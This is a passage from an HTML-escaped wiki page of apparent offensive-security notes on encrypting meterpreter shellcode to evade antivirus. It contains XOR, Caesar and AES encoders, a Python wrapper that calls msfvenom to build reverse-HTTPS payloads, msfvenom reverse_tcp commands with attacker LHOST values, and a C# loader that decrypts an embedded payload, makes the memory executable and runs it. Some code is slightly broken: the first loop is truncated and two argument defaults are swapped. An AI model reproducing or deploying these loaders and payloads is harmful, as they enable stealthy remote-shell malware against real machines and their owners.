    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;for (int i = 0; i  1000:&lt;br /&gt;
        f = open(&amp;quot;/tmp/payload.txt&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
        f.write(payloadFormatted)&lt;br /&gt;
        f.close()&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload written to &#039;/tmp/payload.txt&#039; in C++ format!{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(f&amp;quot;{bcolors.BOLD}{bcolors.OKGREEN}[+] Encoded payload (C++):{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
        print(payloadFormatted + &amp;quot;\n&amp;quot;)&lt;br /&gt;
    # Provide the decoding function for the heck of it&lt;br /&gt;
    print(f&amp;quot;{bcolors.BOLD}{bcolors.OKBLUE}[i] Decoding function:{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
    if args.encoding == &amp;quot;xor&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] ^ {hex(args.key)});&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    if args.encoding == &amp;quot;rot&amp;quot;:&lt;br /&gt;
        decodingFunc = f&amp;quot;&amp;quot;&amp;quot;char bufferx[sizeof buffer];&lt;br /&gt;
int i;&lt;br /&gt;
for (i = 0; i &amp;lt; sizeof bufferx; ++i)&lt;br /&gt;
    bufferx[i] = (char)(buffer[i] - {hex(args.key)} &amp;amp; 255);&lt;br /&gt;
        &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
    print(decodingFunc)&lt;br /&gt;
else:&lt;br /&gt;
    exit(f&amp;quot;{bcolors.BOLD}{bcolors.FAIL}[x] ERROR: Invalid formatting type (choose &#039;cs&#039; for CSharp or &#039;cpp&#039; for C++).{bcolors.ENDC}&amp;quot;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
public class AesEncryptionExample&lt;br /&gt;
{&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
        byte[] shellcode = new byte[] { /* Your shellcode goes here */ };&lt;br /&gt;
        byte[] key = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF0123456789ABCDEF&amp;quot;); // 32-byte key&lt;br /&gt;
        byte[] iv = Encoding.UTF8.GetBytes(&amp;quot;0123456789ABCDEF&amp;quot;); // 16-byte IV&lt;br /&gt;
        byte[] encryptedShellcode = EncryptShellcode(shellcode, key, iv);&lt;br /&gt;
        string encryptedHex = BitConverter.ToString(encryptedShellcode).Replace(&amp;quot;-&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Encrypted shellcode hex: &amp;quot; + encryptedHex);&lt;br /&gt;
    }&lt;br /&gt;
    public static byte[] EncryptShellcode(byte[] shellcode, byte[] key, byte[] iv)&lt;br /&gt;
    {&lt;br /&gt;
        byte[] encrypted;&lt;br /&gt;
        using (AesManaged aes = new AesManaged())&lt;br /&gt;
        {&lt;br /&gt;
            aes.Key = key;&lt;br /&gt;
            aes.IV = iv;&lt;br /&gt;
            ICryptoTransform encryptor = aes.CreateEncryptor(aes.Key, aes.IV);&lt;br /&gt;
            encrypted = encryptor.TransformFinalBlock(shellcode, 0, shellcode.Length);&lt;br /&gt;
        }&lt;br /&gt;
        return encrypted;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/blob/master/shellcode_encryptor.py Shellcode-Encryptor/shellcode_encryptor.py at master · plackyhacker/Shellcode-Encryptor (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
#!/usr/bin/env python3&lt;br /&gt;
import array, base64, random, string&lt;br /&gt;
from Crypto.Cipher import AES&lt;br /&gt;
from hashlib import sha256&lt;br /&gt;
import argparse, subprocess, os&lt;br /&gt;
def main():&lt;br /&gt;
	args = parse_args()&lt;br /&gt;
	lhost = args.lhost&lt;br /&gt;
	lport = args.lport&lt;br /&gt;
	key = args.key&lt;br /&gt;
	if not key:&lt;br /&gt;
		key = get_random_string(32)&lt;br /&gt;
	payload = args.payload&lt;br /&gt;
	method = args.method&lt;br /&gt;
	format = args.format&lt;br /&gt;
	&#039;&#039;&#039; generate msfvenom payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Generating MSFVENOM payload...&amp;quot;)&lt;br /&gt;
	result = subprocess.run([&#039;msfvenom&#039;,&lt;br /&gt;
		&#039;-p&#039;, payload,&lt;br /&gt;
		&#039;LPORT=&#039; + lport,&lt;br /&gt;
		&#039;LHOST=&#039; + lhost,&lt;br /&gt;
#		&#039;-b&#039;, &#039;\\x00&#039;,&lt;br /&gt;
		&#039;-f&#039;, &#039;raw&#039;,&lt;br /&gt;
		&#039;-o&#039;, &#039;./msf.bin&#039;],&lt;br /&gt;
		capture_output=False)&lt;br /&gt;
	f = open(&amp;quot;./msf.bin&amp;quot;, &amp;quot;rb&amp;quot;)&lt;br /&gt;
	buf = f.read()&lt;br /&gt;
	f.close()&lt;br /&gt;
	print(&amp;quot;[+] key and payload will be written to key.b64 and payload.b64&amp;quot;)&lt;br /&gt;
	&#039;&#039;&#039; encrypt the payload &#039;&#039;&#039;&lt;br /&gt;
	print(&amp;quot;[+] Encrypting the payload, key=&amp;quot; + key + &amp;quot;...&amp;quot;)&lt;br /&gt;
	hkey = hash_key(key)&lt;br /&gt;
	encrypted = encrypt(hkey, hkey[:16], buf)&lt;br /&gt;
	b64 = base64.b64encode(encrypted)&lt;br /&gt;
	f = open(&amp;quot;./key.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(key)&lt;br /&gt;
	f.close()&lt;br /&gt;
	f = open(&amp;quot;./payload.b64&amp;quot;, &amp;quot;w&amp;quot;)&lt;br /&gt;
	f.write(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
	f.close()&lt;br /&gt;
	if format == &amp;quot;b64&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; base64 output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] Base64 output:&amp;quot;)&lt;br /&gt;
		print(b64.decode(&#039;utf-8&#039;))&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
	if format == &amp;quot;c&amp;quot;:&lt;br /&gt;
		&#039;&#039;&#039; c output &#039;&#039;&#039;&lt;br /&gt;
		print(&amp;quot;[+] C output:&amp;quot;)&lt;br /&gt;
		hex_string = &#039;unsigned char payload[] ={0x&#039;;&lt;br /&gt;
		hex = &#039;0x&#039;.join(&#039;{:02x},&#039;.format(x) for x in encrypted)&lt;br /&gt;
		hex_string = hex_string + hex[:-1] + &amp;quot;};&amp;quot;&lt;br /&gt;
		print(hex_string)&lt;br /&gt;
		print(&amp;quot;\n[+] Have a nice day!&amp;quot;)&lt;br /&gt;
		return&lt;br /&gt;
def encrypt(key,iv,plaintext):&lt;br /&gt;
	key_length = len(key)&lt;br /&gt;
	if (key_length &amp;gt;= 32):&lt;br /&gt;
		k = key[:32]&lt;br /&gt;
	elif (key_length &amp;gt;= 24):&lt;br /&gt;
		k = key[:24]&lt;br /&gt;
	else:&lt;br /&gt;
		k = key[:16]&lt;br /&gt;
	aes = AES.new(k, AES.MODE_CBC, iv)&lt;br /&gt;
	pad_text = pad(plaintext, 16)&lt;br /&gt;
	return aes.encrypt(pad_text)&lt;br /&gt;
def hash_key(key):&lt;br /&gt;
	h = &#039;&#039;&lt;br /&gt;
	for c in key:&lt;br /&gt;
		h += hex(ord(c)).replace(&amp;quot;0x&amp;quot;, &amp;quot;&amp;quot;)&lt;br /&gt;
	h = bytes.fromhex(h)&lt;br /&gt;
	hashed = sha256(h).digest()&lt;br /&gt;
	return hashed&lt;br /&gt;
def pad(data, block_size):&lt;br /&gt;
	padding_size = (block_size - len(data)) % block_size&lt;br /&gt;
	if padding_size == 0:&lt;br /&gt;
		padding_size = block_size&lt;br /&gt;
	padding = (bytes([padding_size]) * padding_size)&lt;br /&gt;
	return data + padding&lt;br /&gt;
def parse_args():&lt;br /&gt;
	parser = argparse.ArgumentParser()&lt;br /&gt;
	parser.add_argument(&amp;quot;-l&amp;quot;, &amp;quot;--lport&amp;quot;, default=&amp;quot;0.0.0.0&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The local port that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-i&amp;quot;, &amp;quot;--lhost&amp;quot;, default=&amp;quot;443&amp;quot;, type=str,&lt;br /&gt;
			help=&amp;quot;The local host that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-p&amp;quot;, &amp;quot;--payload&amp;quot;, default = &amp;quot;windows/x64/meterpreter/reverse_https&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The payload to generate in msfvenom.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-m&amp;quot;, &amp;quot;--method&amp;quot;, default=&amp;quot;thread&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The method to use: thread/delegate.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-k&amp;quot;, &amp;quot;--key&amp;quot;, default=&amp;quot;&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The encryption key (32 chars).&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	parser.add_argument(&amp;quot;-f&amp;quot;, &amp;quot;--format&amp;quot;, default=&amp;quot;b64&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The format to output.&amp;quot;)&lt;br /&gt;
	return parser.parse_args()&lt;br /&gt;
def get_random_string(length):&lt;br /&gt;
	letters = string.ascii_letters + string.digits&lt;br /&gt;
	result_str = &#039;&#039;.join(random.choice(letters) for i in range(length))&lt;br /&gt;
	return result_str&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
	main()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ConsoleApp25&lt;br /&gt;
{&lt;br /&gt;
    internal class FileName&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc.....};&lt;br /&gt;
&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                // For the current byte in &#039;buf&#039;:&lt;br /&gt;
                // 1. Cast the byte to a uint (unsigned integer).&lt;br /&gt;
                // 2. Add 2 to its value.&lt;br /&gt;
                // 3. Perform a bitwise AND operation with 0xFF to ensure the result stays within a byte&#039;s range (0-255).&lt;br /&gt;
                // 4. Assign the result to the corresponding position in the &#039;encoded&#039; array.&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot; + hex.ToString());&lt;br /&gt;
            // Rest of your code...&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA Shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { /* your shellcode byte array here */ };&lt;br /&gt;
            // Encode using Caesar cipher by adding 2 to each byte&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            uint counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp &#039;&#039;&#039;- Encrypt csharp shellcode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0xfc,0x48,0x83,0xe4 };&lt;br /&gt;
            // Encode the payload with XOR (fixed key)&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int totalCount = encoded.Length;&lt;br /&gt;
            for (int count = 0; count &amp;lt; totalCount; count++)&lt;br /&gt;
            {&lt;br /&gt;
                byte b = encoded[count];&lt;br /&gt;
                if ((count + 1) == totalCount) // Dont append comma for last item&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}&amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                else&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                if ((count + 1) % 15 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.Append(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine($&amp;quot;XOR payload (key: 0xfa):&amp;quot;);&lt;br /&gt;
            Console.WriteLine($&amp;quot;byte[] buf = new byte[{buf.Length}] {{\n{hex}\n}};&amp;quot;);&lt;br /&gt;
            //// Decode the XOR payload&lt;br /&gt;
            //for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            //{&lt;br /&gt;
            //    buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            //}&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode - &#039;&#039;&#039; Encrypt VBA shellcode&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if Word is running 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f vbapplication&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { 252, 72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 72, 49, 210, 101, 72, 139 };&lt;br /&gt;
            // XOR encryption&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            byte XORKey = 250;&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(buf[i] ^ XORKey);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The XOR encoded payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Running encrypted shellcodes ===&lt;br /&gt;
&lt;br /&gt;
==== AES - Using python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/tree/master plackyhacker/Shellcode-Encryptor: A simple shell code encryptor/decryptor/executor to bypass anti virus. (github.com)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.IO;&lt;br /&gt;
namespace ProcessInjection&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        public enum Protection&lt;br /&gt;
        {&lt;br /&gt;
            PAGE_NOACCESS = 0x01,&lt;br /&gt;
            PAGE_READONLY = 0x02,&lt;br /&gt;
            PAGE_READWRITE = 0x04,&lt;br /&gt;
            PAGE_WRITECOPY = 0x08,&lt;br /&gt;
            PAGE_EXECUTE = 0x10,&lt;br /&gt;
            PAGE_EXECUTE_READ = 0x20,&lt;br /&gt;
            PAGE_EXECUTE_READWRITE = 0x40,&lt;br /&gt;
            PAGE_EXECUTE_WRITECOPY = 0x80,&lt;br /&gt;
            PAGE_GUARD = 0x100,&lt;br /&gt;
            PAGE_NOCACHE = 0x200,&lt;br /&gt;
            PAGE_WRITECOMBINE = 0x400&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
        private delegate Int32 ShellcodeDelegate();&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Shellcode();&lt;br /&gt;
        }&lt;br /&gt;
        static void Shellcode()&lt;br /&gt;
        {&lt;br /&gt;
            // attempt heuristics/behaviour bypass&lt;br /&gt;
            IntPtr mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
            if (mem == null)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // decrypt the base64 payload - change these to your own encrypted payload and key&lt;br /&gt;
            string payload = &amp;quot;sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&amp;quot;;&lt;br /&gt;
            string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
            byte[] buf = Decrypt(key, payload);&lt;br /&gt;
            unsafe&lt;br /&gt;
            {&lt;br /&gt;
                fixed(byte* ptr = buf)&lt;br /&gt;
                {&lt;br /&gt;
                    // set the memory as executable and execute the function pointer (as a delegate)&lt;br /&gt;
                    IntPtr memoryAddress = (IntPtr)ptr;&lt;br /&gt;
                    VirtualProtect(memoryAddress, (UIntPtr)buf.Length, (UInt32)Protection.PAGE_EXECUTE_READWRITE, out uint lpfOldProtect);&lt;br /&gt;
                    ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate));&lt;br /&gt;
                    func();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] Decrypt(string key, string aes_base64)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] tempKey = Encoding.ASCII.GetBytes(key);&lt;br /&gt;
            tempKey = SHA256.Create().ComputeHash(tempKey);&lt;br /&gt;
            byte[] data = Convert.FromBase64String(aes_base64);&lt;br /&gt;
            // decrypt data&lt;br /&gt;
            Aes aes = new AesManaged();&lt;br /&gt;
            aes.Mode = CipherMode.CBC;&lt;br /&gt;
            aes.Padding = PaddingMode.PKCS7;&lt;br /&gt;
            ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16));&lt;br /&gt;
            using (MemoryStream msDecrypt = new MemoryStream())&lt;br /&gt;
            {&lt;br /&gt;
                using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write))&lt;br /&gt;
                {&lt;br /&gt;
                    csDecrypt.Write(data, 0, data.Length);&lt;br /&gt;
                    return msDecrypt.ToArray();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static byte[] SubArray(byte[] a, int length)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] b = new byte[length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                b[i] = a[i];&lt;br /&gt;
            }&lt;br /&gt;
            return b;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Instruction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;lt;code&amp;gt;meterpreter_encryptor.py&amp;lt;/code&amp;gt; to create the encrypted base64 shellcode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64&lt;br /&gt;
[+] Generating MSFVENOM payload...&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
Found 1 compatible encoders&lt;br /&gt;
Attempting to encode payload with 1 iterations of x64/xor_dynamic&lt;br /&gt;
x64/xor_dynamic succeeded with size 667 (iteration=0)&lt;br /&gt;
x64/xor_dynamic chosen with final size 667&lt;br /&gt;
Payload size: 667 bytes&lt;br /&gt;
Saved as: ./msf.bin&lt;br /&gt;
[+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec...&lt;br /&gt;
[+] Base64 output:&lt;br /&gt;
